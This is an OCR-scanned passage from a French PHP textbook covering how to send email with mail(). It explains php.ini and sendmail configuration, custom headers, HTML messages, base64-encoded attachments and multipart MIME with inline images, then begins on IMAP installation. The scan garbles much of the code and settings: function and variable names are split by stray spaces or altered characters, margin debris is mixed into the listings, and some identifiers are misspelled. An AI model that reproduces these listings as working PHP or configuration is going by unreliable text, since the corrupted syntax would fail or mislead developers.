$recherche = @ldap_read($ldap, $dn, "objectel ass=*") ; 

if (!$recherche) 

{ 

BoiteMsgErreur("La lecture des informations". 

" a echoue !", $ldap); 
deconnexionLdap($ldap) ; 
return FALSE; 

} 
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Exemple d'application 



// On recupere 1 'entree 

$resultat = @1 dap_get_entri es ($1 dap, $recherche); 

// Deconnexion du serveur LDAP 
deconnexionLdap($ldap) ; 



return $resultat; 

} 

?> 
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Figure 11.7 : La navigation simple dans l'annuaire LDAP 
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La messagerie : 
envoi et lecture de 

mails 

12.1 E-mail 961 

12.2 Acceder a son compte messagerie IMAP, POP3 ou NNTP 974 

12.3 Application d'exemple : le webmail 1012 



E-mail 



Envoyer des e-mails ou creer une interface permettant la consultation d'une boite a lettres 
electronique sont deux taches facilitees par l'existence des bibliotheques fournies par PHP. 



12.1. E-mail 

L'interactivite avec les visiteurs d'un site Internet passe aussi par le courrier electronique. 
Envoyer un e-mail a un visiteur (ou client) quand un produit susceptible de l'interesser est 
disponible ou se faire envoyer (en tant qu'administrateur d'un site) un courrier lorsqu'un 
message est poste dans le forum sont des exemples typiques d'utilisation du courrier 
electronique. 

Installation 

II y a relativement peu de choses a faire pour profiter des fonctions de mail. 

Sous Windows 

II vous suffit de modifier le fichier php.ini afin d'ajouter ou decommenter les lignes suivantes : 

[mail function] 

SMTP = smtp.ttionfai.com 

sendmai l_from = moi@monfai.com 

Le parametre smtp doit preciser l'adresse de votre serveur SMTP (generalement fourni par 
votre fournisseur d'acces ou votre hebergeur, il peut etre du genre smtp.monfai.com ou mail 
.monfai.com par exemple). 

Le parametre sendmail_f rom doit preciser votre adresse e-mail. 
Commentaires et tabulations 

Vous risquez de rencontrer des problemes si vous conservez les commentaires et 
tabulations parfois presents sur les lignes de ces parametres. N'hesitez done pas a les 
supprimer. 

Si besoin vous pouvez modifier le port d'appel du service SMTP via le parametre 
smtp_port = 25 

Sous Linux 

Avec la plupart des distributions, par defaut, vous n'aurez probablement rien a faire. 

S'il s'averait toutefois que cela ne fonctionne pas avec un test simple (le premier exemple 
presente), assurez-vous que votre environnement contient bien un client mail appele sendmail 
ou un equivalent comme qmail. 

Si ce n'est pas le cas, vous devrez commencer par en installer un (pour cela, consultez la 
documentation liee a votre distribution). Une fois cette installation faite, vous aurez a 
recompiler PHP (sans nouvelle option particuliere). 



A 

ATTENTION 
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Maintenant que vous etes certain de posseder un client mail (qui fonctionne), sachez que, s'il 
s'agit de sendmail, tout devrait fonctionner automatiquement. Vous pouvez neanmoins 
preciser le nom (s'il est dans le path) ou le chemin complet vers votre client mail, ainsi que les 
options a utiliser avec l'option sendmail_path de php.ini. Si ce parametre n'est pas precise, la 
valeur par defaut utilisee est "sendmail -t -i". 

Comme dans l'exemple suivant : 

[mail function] 

sendmai l_path = /usr/sbi n/sendmai 1 -t -i 
Contraintes des serveurs mails 

II est possible que votre serveur mail (notamment s'il est mis a disposition par un 
hebergeur) vous impose de preciser une adresse retour en cas d'echec de transmission 
du mail. Cela peut se traduire par exemple par le message suivant (retourne dans la 
boite a lettres locale par sendmail) : 

SMTP; 552 sorry, your envelope sender domain must exist 
Dans ce cas, vous devrez ajouter une option -f suivie de votre adresse e-mail. 

sendmai l_path = /usr/sbi n/sendmai 1 -t -i -fmoi@monfai.com 

Les utilisateurs de qmail devront probablement modifier cette valeur pour y mettre : 
sendmai l_path = /var/qmai 1 /bi n/sendmai 1 

Verifier le bon fonctionnement de sendmail 

Pour verifier que sendmail fonctionne sur votre machine Linux (ou Mac OS X), il 
suffit d'ecrire un petit fichier test en remplagant VOTRE _ADRESSE par votre 
adresse : 

Subject : Test 
From : Moi <moi@moi .moi> 
To : Moi <VOTRE_ADRESSE> 

Cool... 

Puis de taper sendmail -em -t -i < test. Vous devriez alors recevoir un mail 
a votre adresse. 

Le fichier php.ini propose egalement le parametre 
mail .force_extra_parameters = 

Les parametres precises ici remplaceront la valeur du cinquieme parametre de la fonction 

mail ( ) (y COmpris en safe mode) 

Envoyer un e-mail simple 

La fonction permettant l'envoi d'un mail s'appelle tout simplement mail(). Elle peut etre 
utilisee pour envoyer des mails tout simples ou des mails complexes (avec des fichiers joints par 
exemple). 



A 

ATTENTION 



REMARQUE 



E-mail 



mailQ 



Fonction permettant d'envoyer un e-mail 
Syntaxe 



boolean mail (string $vers, string $sujet, string $message[, 
string $entetes [, parametres]]) 

Adresse e-mail ou envoyer le courrier electronique. Vous pouvez egalement 
preciser le nom du destinataire en utilisant le format "Nom" 
<email@domaine . extensions Si vous souhaitez mettre plusieurs 
personnes en destinataire, separez simplement les adresses par ime virgule. 

Sujet de l'e-mail. 

Le message a envoyer. 

En-tetes a ajouter a l'e-mail. Chaque ligne de l'en-tete doit etre terminee 
par "\r\n". 

Parametres supplementaires a passer au programme d'envoi d'e-mails 
(sendmail par exemple, introduit dans la version 4.0.5). Si safe-mode 
est active, cet argument sera ignore. 

Retourne TRUE si le message peut etre envoye (ce qui ne prejuge en rien 
de l'existence de l'adresse des destinataires et encore moins de la bonne 
reception de l'e-mail). 

Une fois le serveur de courrier correctement configure, vous pouvez tester un script PHP tres 
simple : 



$vers 



$sujet 

$message 

$entetes 

$parametres 
retour 



ss. o> 

3 s i 

fij — — CD 

— . CD GO 

m O « 

P" CD 

~ <= 

CD ™ 

CD 



Listing 12.1 : emailO.php 

<?php 

echo "Envoi emai 1 ..." ; 

mail ("testemail@toutestfacile. com", "Test d 1 email", 
"Ceci est un test d'email"); 

?> 



Vous devriez recevoir un e-mail si vous n'oubliez pas de remplacer l'adresse 
testemail@toutestfacile.compar la voire. 



Hebergeurs (gratuits) 

Utgjs/ Certains hebergeurs (notamment les gratuits) proposentuneversionaltereedema.il (), 
REHARQJE souvent appelee email ( ) . Le principe de fonctionnement devrait etre le meme, mais 
nous vous invitons a consulter votre fournisseur afin de connaitre les differences. 
D'autres ne proposent tout simplement pas de fonction permettant Venvoi d'e-mails. 



Comme vous etes perspicace, vous avez pu constater que la fonction mail ( ) propose quelques 
parametres supplementaires en plus des indispensables nom du destinataire, sujet et contenu 
du mail. Vous pouvez ainsi ajouter des informations a l'en-tete du mail, ce qui permet 
notamment de specifier l'adresse de l'expediteur, une adresse de reponse et toute une serie 
d'informations que nous decouvrirons petit a petit. Vous pouvez egalement passer des 
parametres au client mail, ce qui est particulierement utile pour, par exemple, preciser l'adresse 
a laquelle doivent etre envoyes les mails d'erreur que le serveur pourrait envoyer. 
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Listing 12.2 : maill.php 

<?php 

echo "Envoi d'un email avec un entete specifique"; 
mail ("testemail@toutestfacile.com", "Test d 1 email", 

"Ceci est un test\nsur plusieurs lignes\n" 

."avec un entete et un parametre", 

" From : depui stestemai 1 stoutest faci 1 e . com\r\n" 

. "Cc: copietestemai l@toutestfaci 1 e.com\r\n" 

. "Reply-To: noreply@toutestfaci 1 e.com\r\n" 

."X-Mailer: Mon propre mailer !", 

"-ferreurstestemai 1 @toutestf aci le.com") ; 

?> 

Ce script enverra done un mail a testemail@toutestfacile.com, ainsi qu'une copie a 
copietestemail@toutestfacile.com (comme le precise le champ Cc: de l'en-tete). En repondant a ce 
mail, ces deux personnes ecriront a noreply@toutestfacile.com (comme le precise le champ Reply- 
To: de l'en-tete), meme si l'expediteur sera indique comme etant depuistestemail@toutestfacile.com 
(comme le precise le champ From: de l'en-tete). 

En cas d'erreur lors de l'envoi (adresse e-mail inexistante par exemple), l'e-mail d'erreur sera 
envoye a erreurstestemail@toutestfacile.com si le programme d'envoi d'un e-mail est sendmail 
(grace a son option -f). 

Option -f de sendmail 

Si cela est possible, vous aurez tout interet a modifier lefichier php.ini pour preciser, 
au niveau du parametre sendmail_path, I'option "-f". Cela vous evitera de repeter 
{'operation a chaque utilisation de lafonction mail (). 

Voici le contenu de l'e-mail recu (avec une partie de l'en-tete). 

To: testemail@toutestfacile.com 
Subject: Test d' email 
From: depui stestemai 1 Ptoutestfaci 1 e. com 
CC : copi etesteinai 1 @toutestf aci 1 e . com 
Repl y-To : noreply@toutestf aci 1 e . com 
X-Mailer: Mon propre mailer ! 

Message-Id: <20020612005448. 851652416E@toutestfacile.com> 
Date: Tue, 11 Aug 2002 20:54:48 -0400 (EDT) 
Content-Type: text 
X-UIDL: c21"!&[MMdAR! !(],!! 

Ceci est un test 

sur plusieurs lignes 

avec un entete et un parametre 

Source 

Pour visualiser precisement le contenu de l'en-tete du mail regu, il vous suffit : 
Avec Outlook, de selectionner le mail et choisir I'option options du menu View 
(Afficher) ou bien de sauvegarder le mail et de I'ouvrir avec un editeur de texte ; 
Avec Mozilla, de selectionner le mail et choisir I'option Message source du menu View. 




REMARQUE 



ASTUCE 



E-mail 



Pour envoyer un meme e-mail a plusieurs destinataires, il suffit de separer les adresses par une 
virgule. 



Type MIME 

MIME (Multipurpose Internet Mail Extension) est une extension du courrier electronique 
ordinaire tel qu'il a ete defini. 

Cette norme permet de gerer des contenus qui ne sont pas du texte brut. Elle est tellement 
incontournable que desormais la quasi-totalite des courriers electroniques l'utilisent, meme 
sans avoir recours a des fichiers attaches, ni meme a des courriers au format HTML. 

Pour qu'un message respecte la norme MIME, l'en-tete doit contenir un champ MIME- Version 
indiquant le numero de version de la norme MIME utilisee, ainsi qu'un champ Content-Type 
precisant le type du contenu du mail et, eventuellement, d'autres champs dependant du type 
selectionne. 

Le courrier precedent aurait ete le suivant s'il avait ete envoye au format MIME : 

To: testemail@toutestfacile.com 
Subject: Test d' email 
From : depui stestemai 1 @toutestf aci 1 e . com 
CC: copi etestemai 1 Ptoutestf aci 1 e. com 
Repl y-To : norepl yPtoutestf aci 1 e . com 
X-Mailer: Mon propre mailer ! 

Message-Id: <20020612005448.851652416E@toutestfacile.com> 

Date: Tue, 11 Aug 2002 20:54:48 -0400 (EDT) 

MIME-Version: 1.0 

Content-Type: text/plain 

charset="iso-8859-l" 

X-UIDL: c21"!&[M!!dAR! !(],!! 

Ceci est un test 

sur plusieurs lignes 

avec un entete et un parametre 



>m MIME 

%37 Vous trouverez une liste de RFC ( en anglais) se rapportant a la norme MIME sur le 
INTERNET site http://vmw.oac.uci.edu/indiv/ehood/MIIVIE/MIME.html 
Certaines sont traduites aux adresses : 
http://jlr31130.free.fr/rfc2045-index.html 
http:llilr31130.1ree.fr/rfc204B-index.html 
http://jlr31130.free.fr/rfc2047-index.html 



Envoyer un e-mail au format HTML 



L'utilisation de la norme MIME permet notamment d'envoyer des fichiers au format 
HTML. 
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Pour envoyer un fichier au format HTML, il suffit de preciser que le contenu du message 
(Content-type) est de 1'HTML (text /html). (Sinon, le destinataire verra les balises HTML qui 
ne seront pas interpretees.) 

Listing 12.3 : mail2.php 

<?php 

echo "Envoi d'un email HTML"; 

mail ("testemail@toutestfacile.com", "Test d 'email", 
"<htmlxbody>" . 
"<hl>Test Email</hl>". 

"<bxu>Ceci est un document HTML</ux/bxbr>" . 
"Avec differentes tail les de caracteres et ". 
"<font col or=\"red\">coul eurs</font>" . 
"</bodyx/html>" , 
"From: moi@monsite.com\r\n" 

."Content-Type: text/html; charset=\"iso-8859-l\"") ; 

?> 



Envoyer un e-mail avec fichiers attaches 

Vous pourrez egalement envoyer une image. Pour cela, il faudra bien entendu preciser le type 
du contenu avec Content-type, que nous positionnerons, dans notre cas, a la valeur image / j peg. 
Nous pourrons egalement preciser qu'il s'agit d'un fichier attache portant le nom (vu du 
destinataire) image.jpg. Pour cela, nous ajouterons a l'en-tete une ligne 

"Content-Disposition: attachment; f ilename=image . jpg". 

Mais, surtout, nous devrons resoudre un probleme. En effet, les seules donnees veritablement 
supportees par le mail sont les donnees de type texte. Or, nous souhaitons emettre des donnees 
binaires. Pour resoudre ce probleme, il suffit de respecter les normes etablies. II faudra done 
encoder le contenu binaire pour le transformer en contenu textuel (sans perte d'information). 
Cela peut se faire grace a l'encodage en base 64 via la fonction base64_encode ( ) . 



base64_encode() 

Retourne une chaine encodee en base 64. 

Syntaxe string base64_encode(stri ng $chaine) 

$chaine Chaine a encoder, 

retour La chaine encodee. 

Afin d'indiquer au client mail le type d'encodage utilise (ici base64), vous devez utiliser 

l'en-tete Content-Transfert-Encoding: base64. 

Pour etre totalement conforme avec la norme, les chaines de caracteres issues de l'encodage ne 
doivent pas depasser 76 caracteres. II faut done encore ajouter des retours a la ligne (\r\n) tous 



E-mail 



les 76 caracteres. Pour cela, vous disposez de la fonction chunk_split() qui realise justement 
cette operation (cette fonction a ete presentee dans le chapitre PHP et les chaines de caracteres). 

Le script permettant l'envoi d'une image JPEG aura done Failure suivante : 
Listing 12.4 : mail3a.php 



// Lecture du fichier en mode binaire 
(cette precision 

// n'est importante que pour windows) 
$fp = fopen($fichier, "rb"); 

$fichierAttache = fread($fp, filesize($fichier)) ; 
fcl ose($fp) ; 

// mise au format RFC 

$f ichierAttache = chunk_spl i t (base64_encode($fi chierAttache) ) ; 

mail ("testemail@toutestfacile. com", "Test d 1 email", $fichierAttache, 
"From: moi@monsite.com\r\n" 

."Content-Disposition: attachment; fi 1 ename=image. jpg\r\n" 
. "Content-Transfer-Encoding: base64\r\n" 
. "Content-Type: image/jpg\r\n") ; 



Ainsi avec l'image suivante : 
Ce script est equivalent a : 

Listing 12.5 : mail3b.php 

<?php 

echo "Envoi d'un email avec un fichier attache"; 

mail ("testemail@toutestfacile.com", "Test d 1 email", 
"/9j/4AAQSkZJRgABAQEASABIAAD/2wBDAAUDBAQEAwUEBAQFBQUGBwwIBwcHBw8LCwkMEQ8SEhEP 
ERETFhwXExQaFRERGCEYGh0dHx8f Exci JCIeJBweHx7/wAALCABGAEYBAREA/8QAHwAAAQUBAQEB 
AQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGElFh 
ByJxFDKBkaEI IOKxwRVSOf AkM2JyggkKFhcYGRolJi coKSo0NTY30Dk6Q0RFRkdISUpTVFVWVlhZ 
WmNkZWZnaGl qc3Rldnd4eXqDhIWGh4i Ji pKTl JWW1 5i ZmqKjpKWmp6i pqrKztLW2t7i 5usLDxMXG 
x8jJytLTlNXW19jZ2uHi4+T15ufo6erx8vP09fb3+Pn6/9oACAEBAAA/A0mmkl8+T96/3j/EfWmi 
WX/nq/8A30aXzJf+er/99GkMko/5av8A99GmmWb/AJ6v/wB9Gk82b/nrJ/30aY0s3/PWT/vo0xpJ 
8f62T/vo00yzj/lpJ/30azrvxVoEV3LG+pRBlkZSMMeQfpVb/hMvD+8ILlix00IX45x6UsvjLQIX 
2SXuDjPCFh+YBqL/AITnw4Q2byQbe5hfnl7VC/jzw+JAFui6EZyqNn8iKrXXj3TvLmW3dQ4B8svn 
k9uMfpms0bx3fo6/6REc9hGDxW4PH+kPCHjW4LZAKlcVKnjXRZHIL3CDHUx/4Vwupt52pXYWSUET 
0MM2056GsS6DSvtaMkbup54qa6055Ll 1 hh3ttUdOR+l anh/w3eXsrW8ULKT97c0PrXd6F804Fl xf 
y4jx8wQAEn8qlG+F/h+ST91N0BnqxB/kBVi3+FnhlztP2jg8sHxVPXvAeiaVpW+CCSW6eQLGu7jJ 
PA+uK5TV/D9pbal LaxNxHgMwHVsc/hmn61 pi sl/cl F2sZGyQ3uazp9Jh3Beeo5rqPD+kAjzf JOlu 
rEVldlHa2ceUKAnjgcmj+0C0h4KK0hPGald0csQzkhcfnVqXU4II2aVTFj7oY4Lfhlrl/EPiAzMD 
Cm4xHchI43Vwd9LcSXTzu7tI5yxHFal5Av26c7f+Wjd/eojGynKFlPqGIqaGW7H3rmU+zMTV63ub 



<?php 



echo "Envoi d'un email avec un fichier 
x attache"; 

$fichier = "imagetest.jpg"; 




?> 



Chapitre 12 La messagerie : envoi et lecture de mails 



vAQSsV9M8V00j2ZnZZLiLKAYwDgflWle3hjg8iyijgwCCw5b8DXM3EMjzlppWYk5JJyagNpATtJU 
j3pp0y2fkBPwqldIPtk3/XRv50zyxRHFklu6HpjTsGI+Uda60by4o/Kj4AqlLj86pzbQeKrTY3fd 
AX196ryI0gGay7sn7bNz/wAtG/nSfMBnA5rR0inza41UBe9daojtLZYk4bHJqkz5J0eahlYnjtVRz 
81NH04HntUQAHHXHFZV5H/pc3zZ09jjHv9KdaQebKFQkk/7NdbYwLY2qsV+dhTJ5i7cmod30KrXE 
4Viqj LjseMiqkkzYZ8rsxkHH009R/agI2dBnCgkE4I9vrVW/nkV0ZD8rLx/n8q0rnw3qBuZZFmtt 
hdiAWbPX6Vp6HoFzDJvlkgbHIAyf6Vo3dhdSPkPEAOgyf8KqjS7vJ/eQ/wDfR/wpsmlXI4LwnlyT 
/hWTdaPqTTPHFLbxjdx87Hj244qGTw7qBxsntl07cSGPzZ0cEbeaqXPh3UjKZBPbD5wWG9uu03Hv 
ULeHNY3FjeQeX0VQ7ccc9VPpX//Z" , 

"From: moi@monsite.coni\r\n" 

."Content-Disposition: attachment; f i 1 ename=image. jpg\r\n" 
. "Content-Transfer-Encoding: base64\r\n" 
. "Content-Type: image/jpg\r\n") ; 

?> 

Ce que vous pouvez facilement verifier en sauvegardant le mail et en l'ouvrant avec un editeur 
de texte. 

Vous pouvez evidemment utiliser ce script pour tout type de fichier attache (autre type d'image, 
executable, fichier son, etc.). II vous suffit d'adapter l'en-tete content-type en consequence. 

Envoyer un e-mail multi-part 

Mais ne recevoir qu'un texte ou qu'une image n'a rien de palpitant. Vous serez certainement 
amene a accompagner votre fichier d'un message. Pour concevoir ce genre d'e-mails plus 
complexes, il va falloir constituer des messages electroniques avec plusieurs parties 
(multi-part). 

Pour creer des messages avec plusieurs parties, il faut : 

■ Preciser dans l'en-tete principal qu'il s'agit d'un mail multi-part. 

■ Identifier chaque partie en la separant des autres par un delimiteur. 
Indiquer pour chaque partie le type de contenu. 

Le choix du delimiteur est important, puisqu'il ne doit pas pouvoir etre confondu avec le 
contenu de re-mail, en particulier si ce mail inclut un mail multi-part (ce qui peut arriver dans 
le cas des mails transferes). Ce delimiteur peut etre quelconque, mais il parait evident qu'il vaut 
mieux choisir un delimiteur complexe et variable plutot qu'un mot simple. Ce delimiteur est 
done generalement cree aleatoirement. 

Le delimiteur choisi sera indique au client mail en l'ajoutant a l'en-tete content-type. 

Voici un script commente qui permet d'envoyer un courrier electronique contenant un texte 
tres simple et une image en fichier attache. Chacun de ces elements est "stocke" dans une partie 
du mail. Le corps du mail, quant a lui, ne contiendra qu'un simple texte destine aux rares clients 
mail ne supportant pas le format "MIME 1.0 multipart/mixed". 

Listing 12.6 : mail4.php 

<html> 
<body> 

Test Email avec fichier joint 
<?php 



E-mail 



// 

// Construction de l'entete 

// 

// Le delimiteur est genere al eatoi rement 
$delimiteur = " =" .md5(uniqid(rand() ) ) ; 



// Ici, on construit un en-tete contenant les informations 

// minimales requises. 

// Version du format MIME utilise 

$entete = "MIME-Version: 1.0\r\n"; 



// Type de contenu. 

// Ici plusieurs parties de type different "multipart/mixed" 
// Avec un delimiteur defini par $delimiteur 

$entete .= "Content-Type: multipart/mixed; boundary=\"$del imi teur\"\r\n" ; 
$entete .= "\r\n"; 

// 1 
// Construction du message proprement dit 2 ET 

// 3 £ 3 

fij — — CD 
~ CD CO 

// Pour le cas, ou le logiciel de mail du destinataire OT 2. g 

// n'est pas capable de lire le format MIME de cette version 3 « 

// II est de bon ton de l'en informer =- 5" 

it CD 

// REM: Ce message n'apparaTt pas pour les 
// logiciels sachant lire ce format 

$msg = "Je vous informe que ceci est un message au format MIME 1.0 ". 
"multi part/mi xed.\r\n" ; 



// 

// l re partie du message 
// Le texte 

// 

// Chaque partie du message est separee par une frontiere 
$msg .= "--$del imi teur\r\n" ; 

// Et pour chaque partie on en indique le type 

$msg .= "Content-Type: text/plain; charset=\"iso-8859-l\"\r\n"; 

// Et comment il sera code 

$msg .= "Content-Transfer-Encoding:8bit\r\n"; 

// II est indispensable d'introduire une ligne vide 

// entre 1 'en-tete et le texte 

$msg .= "\r\n"; 

// Enfin, on peut ecrire le texte de la l re partie 
$msg .= "Ceci est un mail avec un fichier joint\r\n"; 
$msg .= "\r\n"; 



// 

// 2 e partie du message 

// Le fichier 

// 
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// Tout d'abord lire le contenu du fichier 

$fichier = "monfichier.jpg"; 

$fp = fopen($fichier,"rb"); 

$fichierAttache = fread($fp, f i 1 esize($f i chier) ) ; 

fclose($fp); 

// puis convertir le contenu du fichier en une chaine de caracteres 
// certes total ement illisible, mais sans caracteres exotiques 
// et avec des retours a la ligne tout les 76 caracteres 
// pour etre conforme au format RFC 2045 

$f ichierAttache = chunk_spl i t (base64_encode($f ichierAttache) ) ; 

// Ne pas oublier que chaque partie du 

// message est separee par une frontiere 

$msg .= "--$del imiteur\r\n"; 

// Et pour chaque partie on en indique le type 

$msg .= "Content-Type: image/jpg; name=\"$fichier\"\r\n"; 

// Et comment il sera code 

$msg .= "Content-Transfer-Encoding: base64\r\n"; 

// Petit plus pour les fichiers joints 

// II est possible de demander a ce que le fichier 

// soit si possible affiche dans le corps du mail 

$msg .= "Content-Disposition: inline; filename=\"$fichier\"\r\n"; 

// II est indispensable d'introduire une ligne vide 

// entre l'en-tete et le texte 

$msg .= "\r\n"; 

// C'est ici que 1 'on insere le code du fichier lu 
$msg .= $fichierAttache."\r\n"; 
$msg .= "\r\n\r\n"; 

// voila, on indique la fin par une nouvelle frontiere 
$msg .= "--$del imiteur--\r\n"; 

$to = "testemail@toutestfacile.com"; 
$reply = "moi@monsite.com"; 
$from = "moi@monsite.com"; 
mail($to, "Test fichier attache", $msg, 

"Reply-to: $reply\r\nFrom: $from\r\n" .$entete) ; 

?> 

</body> 
</html> 



Ligne vide 

Ne pas oublier de laisser une ligne (\r\n) entre chaque en-tete et le message ou 
REM ARQ JE fichier. II suffit de tres peu de choses pour que le mail regu ne soit pas conforme au 
resultat attendu. 



Dans cet exemple, nous avons choisi d'afficher l'image dans le corps du mail en utilisant 
"content-Disposition: inline". II aurait egalement ete possible de faire en sorte que 
l'image soit jointe au mail en tant que fichier a sauvegarder par l'utilisateur, en remplacant 



E-mail 



SS. d) 



inline par attachment. La nuance entre les deux dependra egalement du client mail utilise par 
le destinataire (en effet, certains ne supportent pas le mode inline). 

Le script suivant comporte deux fichiers attaches un en 'inline' et un en 'attachment'. Vous 
serez ainsi en mesure de voir la difference. 

Listing 12.7 : mail5.php 

<html> 
<body> 

Test Email avec 2 fichiers joints 
<?php 

// 

// Construction de l'entete 
// 

$del imiteur = " =" .md5(uniqid(rand() ) ) ; 

$entete = "MIME-Version: 1.0\r\n"; 

$entete .= "Content-Type: multipart/mixed; boundary=\"$del imi teur\"\r\n" ; 
$entete .= "\r\n"; 3 2. 3 

m — CD 
— . CD 00 

// a s 

// Construction du message proprement dit 3m 
// ^ = 

CD 

$msg = "Je vous informe que ceci est un message au format MIME 1.0". 
" multipart/mixed. \r\n"; 

// 

// l re parti e du message 
// Le texte 

// 

$msg .= "--$del imi teur\r\n" ; 

$msg .= "Content-Type: text/plain; charset=\"iso-8859-l\"\r\n"; 
$msg .= "Content-Transfer-Encoding:8bit\r\n"; 
$msg .= "\r\n"; 

$msg .= "Ceci est un mail avec 2 fichiers joints\r\n"; 
$msg .= "\r\n"; 

// 

// 2 e partie du message 
// Le l er fichier (inline) 

// 

$fichier = "monfichier.jpg"; 
$fp = fopen($fichier,"rb") ; 

$fichierAttache = fread($fp, f i 1 esize($fi chi er) ) ; 
fclose($fp); 

$fichierAttache=chunk_spl it(base64_encode($fichierAttache)) ; 
$msg .= "--$del imi teur\r\n" ; 

$msg .= "Content-Type: image/jpg; name=\"$fi chi er\"\r\n" ; 
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$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-Disposition: inline; filename=\"$fichier\"\r\n"; 

$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 

$msg .= "\r\n\r\n"; 

// 

// 3eme parti e du message 

// Le 2eme fichier (attachment) 

// 

$fichier = "monfichier2.jpg"; 

$fp = fopen($f i chier, "r") ; 

$fichierAttache = fread($fp,filesize($fichier)) ; 

fclose($fp); 

$f ichierAttache = chunk_spl i t (base64_encode($f ichierAttache) ) ; 
$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: image/jpg; name=\"$fichier\"\r\n"; 
$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-Disposition: attachment; filename=\"$fichier\"\r\n"; 
$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 
$msg .= "\r\n\r\n"; 

$msg .= "--$del imiteur--\r\n"; 

$to = "testemail@toutestfacile.com"; 
$reply = "moi@monsite.com"; 
$from = "moi@monsite.com"; 

mail($to, "Test avec 2 fichiers attaches", $msg, 

"Reply-to: $reply\r\nFrom: $from\r\n" .$entete) ; 

?> 

</body> 
</html> 



REMARQUE 



Client e-mail 

Vous pouvez ne pas voir de difference selon voire client e-mail. 



Envoyer un e-mail HTML avec des images 



Envoyer un courrier electronique au format HTML incluant des images est a peine plus 
complique. II existe en fait deux cas de figure. Le plus simple, mais le moins satisfaisant, consiste 
a considerer que les images sont disponibles sur un serveurweb. II suffit, dans ce cas, de reprendre 
le premier exemple d'envoi d'un e-mail au format HTML, et de preciser des adresses completes 

pour les images (du genre <img src="http: //mons ite.com/monimage. jpg">). L'autre 

solution consiste a envoyer les images avec le corps du mail HTML. Pour cela, il suffit de creer 
un mail multi-part, comme dans les exemples precedents. Mais la difficulte (si Ton peut dire) 
apparait lorsqu'il s'agit de faire reference a ces fichiers attaches depuis les balises HTML. 



E-mail 



Pour repondre a ce besoin, il est possible de donner un identifiant a une partie quelconque du 
mail (ici, les images), grace a l'en-tete Content-ID: suivi d'une chaine de caracteres choisie 
comme identifiant, et placee entre '<' et *>'. Pour faire ensuite appel a ces elements, il suffit de 
preciser l'identifiant de la partie precede de "cid:". 

Ce qui donne un script du genre : 

Listing 12.8 : mail6.php 

<html> 
<body> 

Test Email au format HTML avec 2 images 
<?php 

// 

// Construction de l'en-tete 

// 

$delimiteur = " =" .md5(uniqid(rand() ) ) ; 

$entete = "MIME-Version: 1.0\r\n"; 

$entete .= "Content-Type: multipart/mixed; boundary=\"$del imi teur\"\r\n" ; 
$entete .= "\r\n"; 

// 

// Construction du message proprement dit 
// 

$msg = "Je vous informe que ceci est un message au format MIME 1.0". 
" multipart/mixed. \r\n"; 

//... 

// l er partie du message 
// Le code HTML 

// 

$msg .= "--$del imi teur\r\n" ; 

$msg .= "Content-Type: text/html; charset=\"i so-8859-l\"\r\n" ; 
$msg .= "Content-Transfer-Encoding:8bit\r\n"; 
$msg .= "\r\n"; 

$msg .= "<html><bodyxhl>Email HTML avec 2 images</hl>" ; 
$msg .= "<table>"; 

$msg .= "<trxth>Image l</thx/tr><tr><tdximg src=\"cid:imagel\"x/tdx/tr>"; 
$msg .= "<trxth>Image 2</thx/trxtrxtdximg src=\"cid:iamge2\"x/tdx/tr>"; 
$msg .= "</table>"; 
$msg. = "</bodyx/html>\r\n" ; 
$msg.="\r\n" ; 

// 

// 2 e partie du message 
// Le l er fichier 

// 

$fichier = "monfichier.jpg"; 
$fp = fopen($fichier, "rb"); 
$fichierAttache = fread($fp, f i 1 esize($f i chi er) ) ; 



a. a) 

3 s i 

fij — — CD 

— . CD GO 

m O « 

P" CD 

~ <= 

CD ™ 

CD 



973 



Chapitre 12 La messagerie : envoi et lecture de mails 



CD 



fclose($fp) ; 

$fichierAttache = chunk_spl i t(base64_encode($fichierAttache)) ; 
$msg .= "--$del imiteur\r\n"; 

$msg .= "Content-Type: application/octet-stream; name=\"$fichier\"\r\n"; 
$msg .= "Content-Transfer-Encoding: base64\r\n"; 
$msg .= "Content-ID: <imagel>\r\n" ; 
$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 
$msg .= "\r\n\r\n"; 

// 

// 3eme parti e du message 

// Le 2eme fichier 

// 

$fichier = "monfichier2.jpg"; 
$fp = fopen($fichier, "rb"); 

$fichierAttache = fread($fp, f i 1 esize($fi chier) ) ; 
fclose($fp) ; 



" E $fichierAttache = chunk split(base64 encode($fichierAttache)) ; 



8 "5 J2 

g °£ "5 $msg .= "--$del imiteur\r\n"; 



E oS ^ j mS g _= "Content-Type: application/octet-stream; name=\"$fichier\"\r\n"; 

$msg .= "Content-Transfer-Encoding: base64\r\n"; 

$msg .= "Content-ID: <image2>\r\n" ; 

$msg .= "\r\n"; 

$msg .= $fichierAttache . "\r\n"; 

$msg .= "\r\n\r\n"; 

$msg .= "--$del imiteur--\r\n"; 

$to = "testemail@toutestfacile.com"; 
$reply = "moi@monsite.com"; 
$from = "moi@monsite.com"; 
mail($to, "Email HTML avec 2 images", $msg, 

"Reply-to: $reply\r\nFrom: $from\r\n" .$entete) ; 

echo "A destination de $to<br />"; 
?> 

</body> 
</html> 

Envoyer un courrier electronique en PHP est d'une simplicite deconcertante, non ' 



12.2. Acceder a son compte messagerie IMAP, P0P3 ou 
NNTP 

Acceder a un compte IMAP, POP3, ou NNTP (serveur de 'news') permet de consulter des 
messages electroniques depuis n'importe quel navigateur, sans avoir a le reconfigurer. Cela 
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permet aussi de personnaliser l'interface et, ainsi, d'autoriser ou d'interdire certaines fonctions 
par rapport a un client email "classique". Ce principe d'acces aux messages electroniques via un 
site Internet est communement appele webmail. 

Que ce soit pour acceder a un compte IMAP, POP3 ou NNTP, le principe est presque 
identique, a quelques petites differences pres. 

Avant toute chose, il faut installer la bibliotheque imap. 

Installation 

Sous Windows 

Avec l'archive du PHP Group 

Vous devez, dans un premier temps, vous assurer de disposer du fichier php_imap.dll (fourni 
avec l'archive) dans le repertoire des extensions PHP. II vous suffit alors de modifier le fichier 
php.ini pour ajouter ou decommenter une ligne. 

extension=php_imap.dl 1 

Avec Easy PHP 

Avec EasyPHP, le support d'iMAP est active par defaut. 

Sous Linux 

